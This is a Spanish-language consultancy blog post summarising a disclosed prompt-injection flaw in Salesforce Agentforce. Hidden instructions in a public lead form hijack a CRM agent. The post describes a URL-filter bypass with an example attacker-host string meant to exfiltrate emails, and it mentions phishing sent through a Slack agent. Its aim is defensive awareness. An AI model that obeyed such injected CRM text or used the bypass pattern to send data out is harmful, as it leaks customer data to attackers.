Un formulario público de captación de leads, sin autenticación, bastó para que un atacante convirtiera a un agente de Salesforce en su canal de exfiltración. Zenity Labs lo bautizó SalesBleed, y es un caso de manual de por qué los agentes con acceso al CRM necesitan algo más que filtros de URL.
Zenity Labs publicó SalesBleed, un conjunto de tres vulnerabilidades en Salesforce Agentforce. La premisa: un solo lead malicioso, enviado por un formulario Web-to-Lead (que por diseño acepta datos de cualquiera en internet), puede secuestrar a un agente de confianza, extraer datos sensibles del CRM y, en una tercera variante, usar la identidad del agente de Slack para distribuir phishing de forma anónima.
Según el informe de Zenity, el reporte inicial a Salesforce fue el 1 de junio de 2026, Salesforce confirmó la investigación al día siguiente, y los arreglos quedaron confirmados el 18 de agosto y verificados por Zenity el 19 de agosto. El caso se hizo público a finales de septiembre. Es decir: la falla ya está corregida del lado de Salesforce, pero el patrón de ataque sigue vigente para cualquier agente que lea datos no confiables.
El ataque es una inyección de prompt indirecta: el atacante nunca habla con el agente; deja instrucciones escondidas en campos de texto de un lead. Esas instrucciones quedan dormidas en el CRM hasta que un empleado hace una pregunta rutinaria, como “revisa mis leads más recientes”. En ese momento el agente lee el lead, interpreta el texto del atacante como instrucciones y actúa.
Zenity señala que el subagente CRM general tenía, con los permisos por defecto, acceso de lectura a las tablas de Leads y Accounts, lo que permitía extraer datos como nombres de empresas y tamaños de trato.
Salesforce tiene un control llamado Trusted URLs que redacta destinos no confiables. Zenity encontró dos casos borde en el parseo: los dominios con TLDs no reconocidos (el ejemplo fue .fun) no se trataban como nombres de host, y terminadores como llaves {} y corchetes [] creaban un desacuerdo entre el redactor y el navegador. Una cadena como https://random_string.oast.fun/{email} pasaba el filtro.
Con eso, dos variantes de exfiltración sin interacción humana:
img con origen externo se carga sola y genera una consulta DNS hacia el dominio del atacante con los datos en el subdominio o la ruta.La tercera falla permitía abusar de la identidad confiable del agente de Slack para enviar mensajes de phishing sin atribución al atacante.
Checklist práctico:
Si estás desplegando agentes sobre CRM u otros sistemas con datos de clientes y quieres una revisión de arquitectura, escríbenos a info@guatemalia.com.
Carlos Montiel es arquitecto de soluciones IA empresarial. Implementa LLMs, Agentes, RAG y orquestadores en empresas de Guatemala y Latinoamérica. Contáctalo para una consultoría.
Contactar a Carlos Montiel